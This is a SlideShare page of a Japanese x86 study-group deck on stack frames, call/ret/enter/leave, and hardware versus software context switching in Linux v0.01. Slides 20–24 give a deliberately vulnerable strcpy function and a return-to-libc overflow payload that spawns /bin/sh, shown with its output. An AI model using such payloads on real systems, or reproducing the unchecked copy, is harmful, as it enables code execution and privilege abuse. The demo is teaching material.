3種類のTEE比較(Intel SGX, ARM TrustZone, RISC-V Keystone)
 
規格書で読むC++11のスレッド
規格書で読むC++11のスレッド規格書で読むC++11のスレッド
規格書で読むC++11のスレッド
 
.NET Core 3.0時代のメモリ管理
.NET Core 3.0時代のメモリ管理.NET Core 3.0時代のメモリ管理
.NET Core 3.0時代のメモリ管理
 
高速な倍精度指数関数expの実装
高速な倍精度指数関数expの実装高速な倍精度指数関数expの実装
高速な倍精度指数関数expの実装
 
こわくない Git
こわくない Gitこわくない Git
こわくない Git
 

Viewers also liked

xv6のコンテキストスイッチを読む
xv6のコンテキストスイッチを読むxv6のコンテキストスイッチを読む
xv6のコンテキストスイッチを読むmfumi
 
あるコンテキストスイッチの話
あるコンテキストスイッチの話あるコンテキストスイッチの話
あるコンテキストスイッチの話nullnilaki
 
あなたの知らないネットワークプログラミングの世界
あなたの知らないネットワークプログラミングの世界あなたの知らないネットワークプログラミングの世界
あなたの知らないネットワークプログラミングの世界Ryousei Takano
 
An other world awaits you
An other world awaits youAn other world awaits you
An other world awaits you信之 岩永
 
Kernel vm study_2_xv6_scheduler_part1_revised
Kernel vm study_2_xv6_scheduler_part1_revisedKernel vm study_2_xv6_scheduler_part1_revised
Kernel vm study_2_xv6_scheduler_part1_revisedToshiaki Nozawa
 
LinuxのFull ticklessを試してみた
LinuxのFull ticklessを試してみたLinuxのFull ticklessを試してみた
LinuxのFull ticklessを試してみたHiraku Toyooka
 
Linuxのプロセススケジューラ(Reading the Linux process scheduler)
Linuxのプロセススケジューラ(Reading the Linux process scheduler)Linuxのプロセススケジューラ(Reading the Linux process scheduler)
Linuxのプロセススケジューラ(Reading the Linux process scheduler)Hiraku Toyooka
 
とある帽子の大蛇料理Ⅱ
とある帽子の大蛇料理Ⅱとある帽子の大蛇料理Ⅱ
とある帽子の大蛇料理ⅡMasami Ichikawa
 
100Gbpsソフトウェアルータの実現可能性に関する論文
100Gbpsソフトウェアルータの実現可能性に関する論文100Gbpsソフトウェアルータの実現可能性に関する論文
100Gbpsソフトウェアルータの実現可能性に関する論文y_uuki
 
User-space Network Processing
User-space Network ProcessingUser-space Network Processing
User-space Network ProcessingRyousei Takano
 
デバドラを書いてみよう!
デバドラを書いてみよう!デバドラを書いてみよう!
デバドラを書いてみよう!Masami Ichikawa
 
I/O仮想化最前線〜ネットワークI/Oを中心に〜
I/O仮想化最前線〜ネットワークI/Oを中心に〜I/O仮想化最前線〜ネットワークI/Oを中心に〜
I/O仮想化最前線〜ネットワークI/Oを中心に〜Ryousei Takano
 
Disruptive IP Networking with Intel DPDK on Linux
Disruptive IP Networking with Intel DPDK on LinuxDisruptive IP Networking with Intel DPDK on Linux
Disruptive IP Networking with Intel DPDK on LinuxNaoto MATSUMOTO
 
クラウド環境におけるキャッシュメモリQoS制御の評価
クラウド環境におけるキャッシュメモリQoS制御の評価クラウド環境におけるキャッシュメモリQoS制御の評価
クラウド環境におけるキャッシュメモリQoS制御の評価Ryousei Takano
 
Webアプリケーションの パフォーマンス向上のコツ 実践編
 Webアプリケーションの パフォーマンス向上のコツ 実践編 Webアプリケーションの パフォーマンス向上のコツ 実践編
Webアプリケーションの パフォーマンス向上のコツ 実践編Masahiro Nagano
 
Webアプリケーションの パフォーマンス向上のコツ 概要編
 Webアプリケーションの パフォーマンス向上のコツ 概要編 Webアプリケーションの パフォーマンス向上のコツ 概要編
Webアプリケーションの パフォーマンス向上のコツ 概要編Masahiro Nagano
 
Async deepdive before de:code
Async deepdive before de:codeAsync deepdive before de:code
Async deepdive before de:codeKouji Matsui
 

Viewers also liked (20)

xv6のコンテキストスイッチを読む
xv6のコンテキストスイッチを読むxv6のコンテキストスイッチを読む
xv6のコンテキストスイッチを読む
 
あるコンテキストスイッチの話
あるコンテキストスイッチの話あるコンテキストスイッチの話
あるコンテキストスイッチの話
 
あなたの知らないネットワークプログラミングの世界
あなたの知らないネットワークプログラミングの世界あなたの知らないネットワークプログラミングの世界
あなたの知らないネットワークプログラミングの世界
 
An other world awaits you
An other world awaits youAn other world awaits you
An other world awaits you
 
Kernel vm study_2_xv6_scheduler_part1_revised
Kernel vm study_2_xv6_scheduler_part1_revisedKernel vm study_2_xv6_scheduler_part1_revised
Kernel vm study_2_xv6_scheduler_part1_revised
 
LinuxのFull ticklessを試してみた
LinuxのFull ticklessを試してみたLinuxのFull ticklessを試してみた
LinuxのFull ticklessを試してみた
 
Linuxのプロセススケジューラ(Reading the Linux process scheduler)
Linuxのプロセススケジューラ(Reading the Linux process scheduler)Linuxのプロセススケジューラ(Reading the Linux process scheduler)
Linuxのプロセススケジューラ(Reading the Linux process scheduler)
 
πολλαπλασιασμοι ενοτητα 11
πολλαπλασιασμοι ενοτητα 11πολλαπλασιασμοι ενοτητα 11
πολλαπλασιασμοι ενοτητα 11
 
Bish Bash Bosh & Co
Bish Bash Bosh & Co Bish Bash Bosh & Co
Bish Bash Bosh & Co
 
とある帽子の大蛇料理Ⅱ
とある帽子の大蛇料理Ⅱとある帽子の大蛇料理Ⅱ
とある帽子の大蛇料理Ⅱ
 
100Gbpsソフトウェアルータの実現可能性に関する論文
100Gbpsソフトウェアルータの実現可能性に関する論文100Gbpsソフトウェアルータの実現可能性に関する論文
100Gbpsソフトウェアルータの実現可能性に関する論文
 
User-space Network Processing
User-space Network ProcessingUser-space Network Processing
User-space Network Processing
 
デバドラを書いてみよう!
デバドラを書いてみよう!デバドラを書いてみよう!
デバドラを書いてみよう!
 
I/O仮想化最前線〜ネットワークI/Oを中心に〜
I/O仮想化最前線〜ネットワークI/Oを中心に〜I/O仮想化最前線〜ネットワークI/Oを中心に〜
I/O仮想化最前線〜ネットワークI/Oを中心に〜
 
Disruptive IP Networking with Intel DPDK on Linux
Disruptive IP Networking with Intel DPDK on LinuxDisruptive IP Networking with Intel DPDK on Linux
Disruptive IP Networking with Intel DPDK on Linux
 
クラウド環境におけるキャッシュメモリQoS制御の評価
クラウド環境におけるキャッシュメモリQoS制御の評価クラウド環境におけるキャッシュメモリQoS制御の評価
クラウド環境におけるキャッシュメモリQoS制御の評価
 
Webアプリケーションの パフォーマンス向上のコツ 実践編
 Webアプリケーションの パフォーマンス向上のコツ 実践編 Webアプリケーションの パフォーマンス向上のコツ 実践編
Webアプリケーションの パフォーマンス向上のコツ 実践編
 
Webアプリケーションの パフォーマンス向上のコツ 概要編
 Webアプリケーションの パフォーマンス向上のコツ 概要編 Webアプリケーションの パフォーマンス向上のコツ 概要編
Webアプリケーションの パフォーマンス向上のコツ 概要編
 
DPDKを拡張してみた話し
DPDKを拡張してみた話しDPDKを拡張してみた話し
DPDKを拡張してみた話し
 
Async deepdive before de:code
Async deepdive before de:codeAsync deepdive before de:code
Async deepdive before de:code
 

Similar to x86とコンテキストスイッチ

ラズパイでデバイスドライバを作ってみた。
ラズパイでデバイスドライバを作ってみた。ラズパイでデバイスドライバを作ってみた。
ラズパイでデバイスドライバを作ってみた。Kazuki Onishi
 
HandlerSocket plugin for MySQL
HandlerSocket plugin for MySQLHandlerSocket plugin for MySQL
HandlerSocket plugin for MySQLakirahiguchi
 
Continuation with Boost.Context
Continuation with Boost.ContextContinuation with Boost.Context
Continuation with Boost.ContextAkira Takahashi
 
テーマ「最適化」
テーマ「最適化」テーマ「最適化」
テーマ「最適化」technocat
 
Spmv9forpublic
Spmv9forpublicSpmv9forpublic
Spmv9forpublicT2C_
 
PostgreSQL - C言語によるユーザ定義関数の作り方
PostgreSQL - C言語によるユーザ定義関数の作り方PostgreSQL - C言語によるユーザ定義関数の作り方
PostgreSQL - C言語によるユーザ定義関数の作り方Satoshi Nagayasu
 
C# 7.2 with .NET Core 2.1
C# 7.2 with .NET Core 2.1C# 7.2 with .NET Core 2.1
C# 7.2 with .NET Core 2.1信之 岩永
 
思ったほど怖くない! Haskell on JVM 超入門 #jjug_ccc #ccc_l8
思ったほど怖くない! Haskell on JVM 超入門 #jjug_ccc #ccc_l8思ったほど怖くない! Haskell on JVM 超入門 #jjug_ccc #ccc_l8
思ったほど怖くない! Haskell on JVM 超入門 #jjug_ccc #ccc_l8y_taka_23
 
Perlと出会い、Perlを作る
Perlと出会い、Perlを作るPerlと出会い、Perlを作る
Perlと出会い、Perlを作るgoccy
 
仮想記憶入門 BSD-4.3を例題に
仮想記憶入門 BSD-4.3を例題に仮想記憶入門 BSD-4.3を例題に
仮想記憶入門 BSD-4.3を例題にmagoroku Yamamoto
 
LLVMで遊ぶ(整数圧縮とか、x86向けの自動ベクトル化とか)
LLVMで遊ぶ(整数圧縮とか、x86向けの自動ベクトル化とか)LLVMで遊ぶ(整数圧縮とか、x86向けの自動ベクトル化とか)
LLVMで遊ぶ(整数圧縮とか、x86向けの自動ベクトル化とか)Takeshi Yamamuro
 
PHP AST 徹底解説
PHP AST 徹底解説PHP AST 徹底解説
PHP AST 徹底解説do_aki
 
lispmeetup#63 Common Lispでゼロから作るDeep Learning
lispmeetup#63 Common Lispでゼロから作るDeep Learninglispmeetup#63 Common Lispでゼロから作るDeep Learning
lispmeetup#63 Common Lispでゼロから作るDeep LearningSatoshi imai
 
Python physicalcomputing
Python physicalcomputingPython physicalcomputing
Python physicalcomputingNoboru Irieda
 
テーマ「最適化 その2」
テーマ「最適化 その2」テーマ「最適化 その2」
テーマ「最適化 その2」technocat
 

Similar to x86とコンテキストスイッチ (20)

Prosym2012
Prosym2012Prosym2012
Prosym2012
 
ラズパイでデバイスドライバを作ってみた。
ラズパイでデバイスドライバを作ってみた。ラズパイでデバイスドライバを作ってみた。
ラズパイでデバイスドライバを作ってみた。
 
HandlerSocket plugin for MySQL
HandlerSocket plugin for MySQLHandlerSocket plugin for MySQL
HandlerSocket plugin for MySQL
 
Continuation with Boost.Context
Continuation with Boost.ContextContinuation with Boost.Context
Continuation with Boost.Context
 
テーマ「最適化」
テーマ「最適化」テーマ「最適化」
テーマ「最適化」
 
Spmv9forpublic
Spmv9forpublicSpmv9forpublic
Spmv9forpublic
 
PostgreSQL - C言語によるユーザ定義関数の作り方
PostgreSQL - C言語によるユーザ定義関数の作り方PostgreSQL - C言語によるユーザ定義関数の作り方
PostgreSQL - C言語によるユーザ定義関数の作り方
 
HPC Phys-20201203
HPC Phys-20201203HPC Phys-20201203
HPC Phys-20201203
 
C# 7.2 with .NET Core 2.1
C# 7.2 with .NET Core 2.1C# 7.2 with .NET Core 2.1
C# 7.2 with .NET Core 2.1
 
What is Metasepi?
What is Metasepi?What is Metasepi?
What is Metasepi?
 
思ったほど怖くない! Haskell on JVM 超入門 #jjug_ccc #ccc_l8
思ったほど怖くない! Haskell on JVM 超入門 #jjug_ccc #ccc_l8思ったほど怖くない! Haskell on JVM 超入門 #jjug_ccc #ccc_l8
思ったほど怖くない! Haskell on JVM 超入門 #jjug_ccc #ccc_l8
 
Perlと出会い、Perlを作る
Perlと出会い、Perlを作るPerlと出会い、Perlを作る
Perlと出会い、Perlを作る
 
0x300
0x3000x300
0x300
 
仮想記憶入門 BSD-4.3を例題に
仮想記憶入門 BSD-4.3を例題に仮想記憶入門 BSD-4.3を例題に
仮想記憶入門 BSD-4.3を例題に
 
LLVMで遊ぶ(整数圧縮とか、x86向けの自動ベクトル化とか)
LLVMで遊ぶ(整数圧縮とか、x86向けの自動ベクトル化とか)LLVMで遊ぶ(整数圧縮とか、x86向けの自動ベクトル化とか)
LLVMで遊ぶ(整数圧縮とか、x86向けの自動ベクトル化とか)
 
Rの高速化
Rの高速化Rの高速化
Rの高速化
 
PHP AST 徹底解説
PHP AST 徹底解説PHP AST 徹底解説
PHP AST 徹底解説
 
lispmeetup#63 Common Lispでゼロから作るDeep Learning
lispmeetup#63 Common Lispでゼロから作るDeep Learninglispmeetup#63 Common Lispでゼロから作るDeep Learning
lispmeetup#63 Common Lispでゼロから作るDeep Learning
 
Python physicalcomputing
Python physicalcomputingPython physicalcomputing
Python physicalcomputing
 
テーマ「最適化 その2」
テーマ「最適化 その2」テーマ「最適化 その2」
テーマ「最適化 その2」
 

More from Masami Ichikawa (8)

Linux debug
Linux debugLinux debug
Linux debug
 
Linux Namespaces
Linux NamespacesLinux Namespaces
Linux Namespaces
 
Slub alloc and free
Slub alloc and freeSlub alloc and free
Slub alloc and free
 
Slub data structure
Slub data structureSlub data structure
Slub data structure
 
SystemV IPC
SystemV IPCSystemV IPC
SystemV IPC
 
Linux Namespace
Linux NamespaceLinux Namespace
Linux Namespace
 
Gnomeとdogtai
GnomeとdogtaiGnomeとdogtai
Gnomeとdogtai
 
Minix smp
Minix smpMinix smp
Minix smp
 

Recently uploaded

[DevOpsDays Tokyo 2024] 〜デジタルとアナログのはざまに〜 スマートビルディング爆速開発を支える 自動化テスト戦略
[DevOpsDays Tokyo 2024] 〜デジタルとアナログのはざまに〜 スマートビルディング爆速開発を支える 自動化テスト戦略[DevOpsDays Tokyo 2024] 〜デジタルとアナログのはざまに〜 スマートビルディング爆速開発を支える 自動化テスト戦略
[DevOpsDays Tokyo 2024] 〜デジタルとアナログのはざまに〜 スマートビルディング爆速開発を支える 自動化テスト戦略Ryo Sasaki
 
SOPを理解する 2024/04/19 の勉強会で発表されたものです
SOPを理解する       2024/04/19 の勉強会で発表されたものですSOPを理解する       2024/04/19 の勉強会で発表されたものです
SOPを理解する 2024/04/19 の勉強会で発表されたものですiPride Co., Ltd.
 
【早稲田AI研究会 講義資料】3DスキャンとTextTo3Dのツールを知ろう!(Vol.1)
【早稲田AI研究会 講義資料】3DスキャンとTextTo3Dのツールを知ろう!(Vol.1)【早稲田AI研究会 講義資料】3DスキャンとTextTo3Dのツールを知ろう!(Vol.1)
【早稲田AI研究会 講義資料】3DスキャンとTextTo3Dのツールを知ろう!(Vol.1)Hiroki Ichikura
 
論文紹介:Automated Classification of Model Errors on ImageNet
論文紹介:Automated Classification of Model Errors on ImageNet論文紹介:Automated Classification of Model Errors on ImageNet
論文紹介:Automated Classification of Model Errors on ImageNetToru Tamaki
 
Open Source UN-Conference 2024 Kawagoe - 独自OS「DaisyOS GB」の紹介
Open Source UN-Conference 2024 Kawagoe - 独自OS「DaisyOS GB」の紹介Open Source UN-Conference 2024 Kawagoe - 独自OS「DaisyOS GB」の紹介
Open Source UN-Conference 2024 Kawagoe - 独自OS「DaisyOS GB」の紹介Yuma Ohgami
 
TSAL operation mechanism and circuit diagram.pdf
TSAL operation mechanism and circuit diagram.pdfTSAL operation mechanism and circuit diagram.pdf
TSAL operation mechanism and circuit diagram.pdftaisei2219
 
スマートフォンを用いた新生児あやし動作の教示システム
スマートフォンを用いた新生児あやし動作の教示システムスマートフォンを用いた新生児あやし動作の教示システム
スマートフォンを用いた新生児あやし動作の教示システムsugiuralab
 
論文紹介:Content-Aware Token Sharing for Efficient Semantic Segmentation With Vis...
論文紹介:Content-Aware Token Sharing for Efficient Semantic Segmentation With Vis...論文紹介:Content-Aware Token Sharing for Efficient Semantic Segmentation With Vis...
論文紹介:Content-Aware Token Sharing for Efficient Semantic Segmentation With Vis...Toru Tamaki
 
論文紹介:Semantic segmentation using Vision Transformers: A survey
論文紹介:Semantic segmentation using Vision Transformers: A survey論文紹介:Semantic segmentation using Vision Transformers: A survey
論文紹介:Semantic segmentation using Vision Transformers: A surveyToru Tamaki
 

Recently uploaded (9)

[DevOpsDays Tokyo 2024] 〜デジタルとアナログのはざまに〜 スマートビルディング爆速開発を支える 自動化テスト戦略
[DevOpsDays Tokyo 2024] 〜デジタルとアナログのはざまに〜 スマートビルディング爆速開発を支える 自動化テスト戦略[DevOpsDays Tokyo 2024] 〜デジタルとアナログのはざまに〜 スマートビルディング爆速開発を支える 自動化テスト戦略
[DevOpsDays Tokyo 2024] 〜デジタルとアナログのはざまに〜 スマートビルディング爆速開発を支える 自動化テスト戦略
 
SOPを理解する 2024/04/19 の勉強会で発表されたものです
SOPを理解する       2024/04/19 の勉強会で発表されたものですSOPを理解する       2024/04/19 の勉強会で発表されたものです
SOPを理解する 2024/04/19 の勉強会で発表されたものです
 
【早稲田AI研究会 講義資料】3DスキャンとTextTo3Dのツールを知ろう!(Vol.1)
【早稲田AI研究会 講義資料】3DスキャンとTextTo3Dのツールを知ろう!(Vol.1)【早稲田AI研究会 講義資料】3DスキャンとTextTo3Dのツールを知ろう!(Vol.1)
【早稲田AI研究会 講義資料】3DスキャンとTextTo3Dのツールを知ろう!(Vol.1)
 
論文紹介:Automated Classification of Model Errors on ImageNet
論文紹介:Automated Classification of Model Errors on ImageNet論文紹介:Automated Classification of Model Errors on ImageNet
論文紹介:Automated Classification of Model Errors on ImageNet
 
Open Source UN-Conference 2024 Kawagoe - 独自OS「DaisyOS GB」の紹介
Open Source UN-Conference 2024 Kawagoe - 独自OS「DaisyOS GB」の紹介Open Source UN-Conference 2024 Kawagoe - 独自OS「DaisyOS GB」の紹介
Open Source UN-Conference 2024 Kawagoe - 独自OS「DaisyOS GB」の紹介
 
TSAL operation mechanism and circuit diagram.pdf
TSAL operation mechanism and circuit diagram.pdfTSAL operation mechanism and circuit diagram.pdf
TSAL operation mechanism and circuit diagram.pdf
 
スマートフォンを用いた新生児あやし動作の教示システム
スマートフォンを用いた新生児あやし動作の教示システムスマートフォンを用いた新生児あやし動作の教示システム
スマートフォンを用いた新生児あやし動作の教示システム
 
論文紹介:Content-Aware Token Sharing for Efficient Semantic Segmentation With Vis...
論文紹介:Content-Aware Token Sharing for Efficient Semantic Segmentation With Vis...論文紹介:Content-Aware Token Sharing for Efficient Semantic Segmentation With Vis...
論文紹介:Content-Aware Token Sharing for Efficient Semantic Segmentation With Vis...
 
論文紹介:Semantic segmentation using Vision Transformers: A survey
論文紹介:Semantic segmentation using Vision Transformers: A survey論文紹介:Semantic segmentation using Vision Transformers: A survey
論文紹介:Semantic segmentation using Vision Transformers: A survey
 

x86とコンテキストスイッチ

  • 1. x86 とコンテキストスイッチ X86 勉強会 2010/08/21 @masami256
  • 2. 自己紹介 ・ Linux 好き - Fedora の Proven testers グループのメンバー - Fedora のテストを色々とやってます - 昔は Debian でパッケージのメンテしたり ・自作カーネルは一応経験済み
  • 3. はじめに • 特に明記しない限り、 x86_32 のプロテクトモー ドで、呼出規約は cdecl です [masami@ftest x86]$ uname -a Linux ftest 2.6.33.6-147.fc13.i686 #1 SMP Tue Jul 6 22:30:55 UTC 2010 i686 i686 i386 GNU/Linux [masami@ftest x86]$ gcc -v Using built-in specs. Target: i686-redhat-linux コンフィグオプション : ../configure --prefix=/usr --mandir=/usr/share/man --infodir=/usr/share/info --with-bugurl=http://bugzilla.redhat.com/bugzilla --enable-bootstrap --enable-shared --enable- threads=posix --enable-checking=release --with-system-zlib --enable-__cxa_atexit --disable- libunwind-exceptions --enable-gnu-unique-object --enable-languages=c,c++,objc,obj-c+ +,java,fortran,ada --enable-java-awt=gtk --disable-dssi --with-java-home=/usr/lib/jvm/java-1.5.0- gcj-1.5.0.0/jre --enable-libgcj-multifile --enable-java-maintainer-mode --with-ecj- jar=/usr/share/java/eclipse-ecj.jar --disable-libjava-multilib --with-ppl --with-cloog --with- tune=generic --with-arch=i686 --build=i686-redhat-linux スレッドモデル : posix gcc version 4.4.4 20100630 (Red Hat 4.4.4-10) (GCC)
  • 4. Agenda Todo Doing Done Linux Stack v0.01 Stack の Linux 命令 v2.6.34 Stack の Minux まとめ v3.1.0 Context スレッド Switch
  • 5. Agenda Todo Doing Done Linux Stack v0.01 Stack の Linux 命令 v2.6.34 Stack の Minux まとめ v3.1.0 Context スレッド Switch
  • 6. x86 の命令実行での主な登場人物 • stack • eip • ebp • esp • call • ret • Task State Segment(TSS)
  • 7. Stack • SS レジスタが指すセグメントの領域 – スタックが絡む命令では CPU が自動的に参照 • フラットメモリモデルの場合 – リニアアドレス空間にスタックを設定可 – 領域の大きさは、セグメント次第 • アクセスには esp 、 ebp を使用する • 関数単位でスタックフレームに分割される • メモリの高位アドレスから低位アドレスに 向かって領域が伸びていく
  • 8. esp と ebp • esp – スタックポインタ • スタックの末端のアドレスを指す • ebp – スタックフレームのベースポインタ – 減算することで、ローカル変数へアクセス – 加算することで、関数の引数へアクセス
  • 9. スタックフレーム - サンプル void test2(int a, int b) { char s[10]; } void test1(int a, int b) { int n = 10; int m = 20; test2(n + a, m + b); } int main(int argc, char **argv) { test1(1, 2); return 0; }
  • 10. 低位アドレス スタックフレーム esp s test2() のスタックフレーム Saved ebp Ret address test1() で引数の n と m にするには、この a ようになる movl %eax, 8(%ebp) <- a にアクセス b test1() のスタックフレーム movl %edx, 12(%ebp) <- b にアクセス n ローカル変数の場合は、 m movl -4(%ebp), %eax <- m にアクセス Saved ebp movl -8(%ebp), %edx <- n にアクセス Ret address a main() のスタックフレーム b Saved ebp 高位アドレス
  • 11. test1() 実行時のスタックフレーム (gdb) x/x $ebp + 0 0xbffff708: 0xbffff718 (gdb) x/x $ebp + 4 0xbffff70c: 0x080483e9 (gdb) x/x $ebp + 8 0xbffff710: 0x00000001 (gdb) x/x $ebp + 12 0xbffff714: 0x00000002 (gdb) x/x $ebp - 4 0xbffff704: 0x00000014 (gdb) x/x $ebp - 8 0xbffff700: 0x0000000a (gdb) x/20x $esp 0xbffff6f0: 0x005531e0 0x08048215 0x00555ce0 0x00554ff4 0xbffff700: 0x0000000a 0x00000014 0xbffff718 0x080483e9 0xbffff710: 0x00000001 0x00000002 0xbffff798 0x003e3cc6 0xbffff720: 0x00000001 0xbffff7c4 0xbffff7cc 0xb7fff3d0
  • 12. Agenda Todo Doing Done Linux Stack の Stack v0.01 命令 Linux v2.6.34 Stack の Minux まとめ v3.1.0 Context スレッド Switch
  • 13. Stack 操作の命令 • Push • Pop • Call • Ret • Enter • Leave
  • 14. Stack 操作の命令 - Push/Pop void push_pop(void) { int n = 0x20; printf("before: n is 0x%xn", n); $ ./a.out before: n is 0x20 asm volatile("push $0x10;nt" after: n is 0x10 "pop % [output];nt" :[output] "=g"(n)); printf("after: n is 0x%xn", n); }
  • 15. Stack 操作の命令 - Call/Ret void call001(void) { printf("call001-1n"); $ ./a.out asm ("pop %ebp;nt" call001-1 "ret;nt"); printf("call001-2n"); } call と ret 命令では、 cpu がリターンア ドレスをスタック [ に積む / から取得 ] void call_ret(void) するので、使用時にこの辺は気にしな { くてもよい仕様になってます。 asm ("call call001;nt"); }
  • 16. Stack 操作の命令 - Enter/Leave .globl enter_leave /* int enter_leave(void) */ enter_leave: /* Reserve 16 bytes stack frame */ $ ./a.out enter $0x10, $0 ret is 32 movl $0x20, -4(%ebp) /* %eax is return value */ movl -4(%ebp), %eax enter 命令の実行内容は、以下 /* Clear the stack frame */ の内容とほぼ等価です leave pushl %ebp ret movl %esp, %ebp /* 呼び出し */ subl $16, %esp printf("ret is %dn",enter_leave());
  • 17. eip • 次に実行する命令のアドレスが入る • eip を直接弄ることはありません • mov $0x10, %eip とかはできません • call 、 ret や jmp 命令など実行すると cpu が適切な値を eip にセット • eip はスタックに積まれるので、制御を 自分で変更したい場合はこちらを弄り ます
  • 18. 制御を自分で変える void hello2(void) { cout << __FUNCTION__ << endl; exit(0); } extern "C" __attribute__((fastcall)) int hello(int a, int b) { cout << a << ":" << b << endl; } return 0; $ ./a.out int main(int argc, char **argv) 10:20 { int a = 10, b = 20; hello2 unsigned long addr = (unsigned long) &hello2; __asm__ __volatile__("push %[ret_ip]nt" "jmp hello;nt" :: [ret_ip] "g" (addr), [arg_a] "c"(a), [arg_b] "d"(b)); return 0; }
  • 19. Agenda Todo Doing Done Linux Stack の Stack v0.01 まとめ Linux Stack の v2.6.34 命令 Minux v3.1.0 Context スレッド Switch
  • 20. ここまでのまとめ void test(char *p) { char buf[64]; strcpy(buf, p); } int main(int argc, char **argv) { test(argv[1]); printf("okn"); return 0; }
  • 21. main()->test()->system()->exit() の流れで遊んでみる
  • 22. system() に渡す引数の準備 bt test$ BINSH=/bin/sh ; export BINSH bt test $ echo $BINSH /bin/sh bt test $ ./getenv environment[BINSH] is in 0xbfffff15
  • 23. メモリレイアウト 低位アドレス system() に渡す引数のアドレス 0xbfffff15 exit() のアドレス 0xb7ece3a0 system() のアドレス 0xb7ed86e0 B*4 オーバーフロー用のゴミデータ BBBB で ebp が上書きされる A*72 高位アドレス
  • 24. 実行してみる bt test $ ltrace ./vuln `python -c 'print "A"*72 + "BBBB" + "xe0x86xedxb7" + "xa0xe3xecxb7" + "x15xffxffxbf"'` __libc_start_main(0x80483ee, 2, 0xbffff614, 0x8048440, 0x80484a0 <unfinished ...> strcpy(0xbffff510, 0xbffff74c, 0, 0xbffff554, 0x6f6e2800) = 0xbffff510 sh-3.1$ id uid=1001(cola) gid=100(users) groups=100(users) sh-3.1$ exit exit --- SIGCHLD (Child exited) --- +++ exited (status 0) +++ bt test $
  • 25. Agenda Todo Doing Done Linux Context Stack v0.01 Switch Linux Stack の v2.6.34 命令 Minux Stack の v3.1.0 まとめ スレッド
  • 26. Context Switching • Hardware Context Switching –X86 のタスク切り替え機能を利用 –Linux の v0.01 はこちら • Software Context Switching –自分でタスクを切り替える • 一部で cpu の機能を使う必要がある –今時のカーネルは普通こちら
  • 27. TSS • Hardware/Software コンテキストスイッチ どちらでも利用する – Hardware コンテキストスイッチは TSS 必須 – Sfowtware コンテキストスイッチでは所用によ り使う • 各種レジスタ、セグメントなどの情報、 IO 許可 マップなどの情報を保存する領域
  • 28. Hardware Context Switching • CPU によるサポート – FPU 、 MMX 、 SSE の切り替えは未サポート – GDT に TSS を置くので、タスク数は 8190 個 が最大 • あまり使われていない – モダンな OS で使われてるケースってあるので しょうか? • Why? – 遅い(らしい) – http://wiki.osdev.org/Context_Switching
  • 29. Hardware Context Switching の処理 • TSS を作り GDT に置く – TSS はプロセス毎 • ltr 命令で TSS をセットする – 1 つ目の TSS だけで OK • プロセスの切り替えは、 JMP/CALL 命令で 実施 – 各レジスタのセーブ・リストアに関しては CPU がやってくれる – FPU などは除く
  • 30. Software Context Switching • X86 の機能をフル活用しない – TSS の esp0 や IOBP などは利用しま す • タスク数の制限はない – プロセス単位に TSS ディスクリプタ が不要
  • 31. Software Context Switching の処理 • TSS を作り GDT に置く – Linux の場合、 TSS は cpu 毎 • ltr 命令で TSS をセットする – 1 つ目の TSS だけで OK • プロセスの切り替えはスタックの切り替えで実 施 – スタックを次のプロセスのものに切り替えて るのと、関数から戻るときにスタックに積ま れている eip を利用して切り替えを実施 – FPU などは自分で切り替える
  • 32. Agenda Todo Doing Done Linux Stack v0.01 Linux Stack の v2.6.34 命令 Minux Stack の v3.1.0 まとめ Context スレッド Switch
  • 34. Linux v0.01 - sched_init kernel/sched.c 231void sched_init(void) TSS ディスクリプタを GDT にセット 232{ * fork() 時は新プロセス用に作った TSS ディスクリプタをセットします 233 int i; 234 struct desc_struct * p; 235 236 set_tss_desc(gdt+FIRST_TSS_ENTRY,&(init_task.task.tss)); 237 set_ldt_desc(gdt+FIRST_LDT_ENTRY,&(init_task.task.ldt)); snip 246 ltr(0); ltr 命令で TSS をセットします。 snip 254} include/linux/sched.h 154#define ltr(n) __asm__("ltr %%ax"::"a" (_TSS(n))
  • 35. Linux v0.01 - copy_process() kernel/fork.c 61int copy_process(int nr,long ebp,long edi,long esi,long gs,long none, 64 long eip,long cs,long eflags,long esp,long ss) 65{ snip 70 p = (struct task_struct *) get_free_page(); 71 if (!p) 72 return -EAGAIN; 73 *p = *current; /* NOTE! this doesn't copy the supervisor stack */ 74 p->state = TASK_RUNNING; 75 p->pid = last_pid; 70 行目以降で作った新しいプ snip ロセスのディスクリプタを設定 118 set_tss_desc(gdt+(nr<<1)+FIRST_TSS_ENTRY,&(p->tss)); 119 set_ldt_desc(gdt+(nr<<1)+FIRST_LDT_ENTRY,&(p->ldt)); 120 task[nr] = p; /* do this last, just in case */ 121 return last_pid;
  • 36. Linux v0.01 - switch_to() include/linux/sched.h 168#define switch_to(n) { 169struct {long a,b;} __tmp; 170__asm__("cmpl %%ecx,_currentnt" 171 "je 1fnt" 172 "xchgl %%ecx,_currentnt" __tmp.b に gdt に設 定されている次のプ 173 "movw %%dx,%1nt" ロセスの TSS セレク 174 "ljmp %0nt" タ値を代入 175 "cmpl %%ecx,%2nt" 176 "jne 1fnt" 177 "cltsn" 178 "1:" 179 ::"m" (*&__tmp.a),"m" (*&__tmp.b), 180 "m" (last_task_used_math),"d" _TSS(n),"c" ((long) task[n]));
  • 37. Linux v0.01 - switch_to() include/linux/sched.h 168#define switch_to(n) { 169struct {long a,b;} __tmp; 170__asm__("cmpl %%ecx,_currentnt" 171 "je 1fnt" 172 "xchgl %%ecx,_currentnt" カレントプロセスと次のプロ 173 "movw %%dx,%1nt" セスが同一ならなにもしない 174 "ljmp %0nt" 175 "cmpl %%ecx,%2nt" 176 "jne 1fnt" 177 "cltsn" 178 "1:" 179 ::"m" (*&__tmp.a),"m" (*&__tmp.b), 180 "m" (last_task_used_math),"d" _TSS(n),"c" ((long) task[n]));
  • 38. Linux v0.01 - switch_to() include/linux/sched.h 168#define switch_to(n) { 169struct {long a,b;} __tmp; 170__asm__("cmpl %%ecx,_currentnt" 171 "je 1fnt" 172 "xchgl %%ecx,_currentnt" 173 "movw %%dx,%1nt" セグメント間ジャンプでプロセス 174 "ljmp %0nt" 切り替え実行 175 "cmpl %%ecx,%2nt" 176 "jne 1fnt" 177 "cltsn" 178 "1:" 179 ::"m" (*&__tmp.a),"m" (*&__tmp.b), 180 "m" (last_task_used_math),"d" _TSS(n),"c" ((long) task[n]));
